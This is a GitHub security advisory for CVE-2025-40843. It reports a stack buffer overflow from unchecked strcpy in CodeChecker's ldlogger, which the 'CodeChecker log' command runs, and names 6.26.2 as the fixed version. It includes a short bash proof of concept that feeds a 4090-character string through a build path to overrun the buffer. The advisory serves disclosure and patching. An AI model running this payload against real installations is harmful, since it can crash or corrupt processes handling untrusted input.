GHSA-5xf2-f6ch-6p8r
CodeChecker has a buffer overflow in the log command
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | codechecker | < 6.26.2 | 6.26.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
CodeChecker versions up to 6.26.1 contain a buffer overflow vulnerability in the internal `ldlogger` library, which is executed by the `CodeChecker log` command.
### Details
Unsafe usage of `strcpy()` function in the internal `ldlogger` library allows attackers to trigger a buffer overflow by supplying crafted inputs from the command line. Specifically, the destination buffer is stack-allocated with a fixed size of 4096 bytes, while `strcpy()` is called without any length checks, enabling an attacker to overrun the buffer.
### PoC
Example script is included below to illustrate how this vulnerability can be exploited.
```bash
#!/bin/bash
export CC_LOGGER_DEF_DIRS=1;
payload=''; for i in $(seq 1 4090); do payload+='A'; done
CodeChecker log -b "/very/long/path/to/$payload/gcc a.c" -o compilation.json
```
### Impact
Any environment where the vulnerable `CodeChecker log` command is executed with untrusted user input is affected by this vulnerability.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Ericsson/codechecker/security/advisories/GHSA-5xf2-f6ch-6p8r
- https://nvd.nist.gov/vuln/detail/CVE-2025-40843
- https://github.com/Ericsson/codechecker/commit/4122eb1b43d00c880e4f0747d2ca0a674feb7a50
- https://github.com/Ericsson/codechecker
- https://github.com/pypa/advisory-database/tree/main/vulns/codechecker/PYSEC-2025-100.yaml